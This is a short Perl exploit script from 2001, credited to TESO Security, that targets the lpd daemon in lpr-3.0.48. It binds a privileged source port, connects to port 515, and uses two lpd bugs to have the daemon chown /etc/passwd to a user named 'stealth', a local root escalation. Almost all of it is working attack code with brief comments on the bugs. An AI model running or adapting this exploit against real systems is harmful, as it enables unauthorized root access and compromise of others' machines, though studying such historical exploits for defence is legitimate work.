#!/usr/bin/perl -w

# 7350lapsus
#
# lpr-3.0.48 Local root exploit.
# requires root on a host counted in
# hosts.lpd and local account on lpd box.
# This is proof of concept, chown()ing /etc/passwd
# to a user named 'stealth'.
#
# (C) COPYRIGHT TESO Security, 2001
# All Rights Reserved
#
# May be used under the terms of the GPL.
#

use IO::Socket;

sub recvack 
{
	my $ack;
	$_[0]->recv($ack, 1);
	if ($ack ne "\0") {
		print "Some ACK-error occured.\n";
		exit;
	}
}

$rem = shift; 
if (!defined($rem)) {
	print "$0 <hostname>\n"; exit;
}

# Open connection
for ($i = 721; $i <= 731 && !defined $peer; ++$i) {
	$peer = IO::Socket::INET->new(PeerAddr  => $rem,
			      PeerPort  => 515,
			      LocalPort => $i,
			      Proto     => "tcp",
			      Type      => SOCK_STREAM);
}

die "$!" if (!defined($peer));

print "Bound to port $i\n";

print $peer "\2lp\n";
recvack($peer);

$payload = "Pstealth\na/etc/passwd\n";
$l = length($payload);

# First bug in lpd: allows to create files in /
# with length up to 5 chars
print $peer "\x02$l /foo\n";
recvack($peer);

# This one is incredible. it trusts controlfiles
# input to chown ANY file on system to user.
print $peer $payload;
print $peer "\0";
recvack($peer);

close $peer;

